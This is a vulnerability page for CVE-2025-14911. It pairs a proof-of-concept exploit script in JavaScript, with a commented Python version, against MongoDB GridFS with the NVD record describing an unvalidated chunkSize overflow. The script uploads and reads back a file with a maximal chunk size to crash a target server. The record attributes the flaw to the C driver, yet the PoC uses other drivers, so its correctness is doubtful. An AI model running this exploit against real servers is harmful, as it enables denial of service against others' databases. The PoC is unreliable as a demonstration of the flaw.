CVE-2025-14911

// CVE-2025-14911 PoC - MongoDB GridFS chunkSize Overflow // Author: Security Researcher // Environment: MongoDB with vulnerable CDRIVER version const { MongoClient, GridFSBucket } = require('mongodb'); async function exploitCVE202514911() { const mongoUri = 'mongodb://target:27017/vulnerable_db'; const client = new MongoClient(mongoUri); try { await client.connect(); const db = client.db(); const bucket = new GridFSBucket(db, { bucketName: 'test' }); // Malicious chunkSize that triggers overflow // Setting extremely large value without validation const maliciousChunkSize = 0xFFFFFFFF; // Max uint32 value console.log('[+] Creating GridFS bucket with malicious chunkSize...'); // Attempt to create file with malicious metadata const uploadStream = bucket.openUploadStream('malicious_file.txt', { chunkSizeBytes: maliciousChunkSize }); const maliciousData = Buffer.from('A'.repeat(1024)); uploadStream.write(maliciousData); uploadStream.end(); await new Promise((resolve, reject) => { uploadStream.on('finish', resolve); uploadStream.on('error', reject); }); console.log('[+] Malicious file uploaded successfully'); console.log('[+] Triggering overflow condition...'); // Read back the file to trigger processing const downloadStream = bucket.openDownloadStreamByName('malicious_file.txt'); downloadStream.on('data', (chunk) => { console.log('[+] Received chunk:', chunk.length); }); downloadStream.on('end', () => { console.log('[+] Download completed'); }); downloadStream.on('error', (err) => { console.log('[!] Error occurred (potential overflow):', err.message); }); } catch (error) { console.error('[-] Exploitation failed:', error.message); } finally { await client.close(); } } // Python version using pymongo // from pymongo import MongoClient // from gridfs import GridFS // // client = MongoClient('mongodb://target:27017/') // db = client['vulnerable_db'] // fs = GridFS(db) // // # Malicious chunkSize // malicious_chunksize = 0xFFFFFFFF // // with open('payload.bin', 'rb') as f: // fs.put(f, chunkSize=malicious_chunksize) // Run the exploit // exploitCVE202514911();

{"cve": {"id": "CVE-2025-14911", "sourceIdentifier": "[email protected]", "published": "2026-01-27T18:15:52.603", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "User-controlled chunkSize metadata from MongoDB lacks appropriate validation allowing malformed GridFS metadata to overflow the bounding container."}, {"lang": "es", "value": "Los metadatos de chunkSize controlados por el usuario de MongoDB carecen de validación adecuada, permitiendo que metadatos de GridFS malformados desborden el contenedor delimitador."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-120"}]}], "references": [{"url": "https://jira.mongodb.org/browse/CDRIVER-6125", "source": "[email protected]"}]}}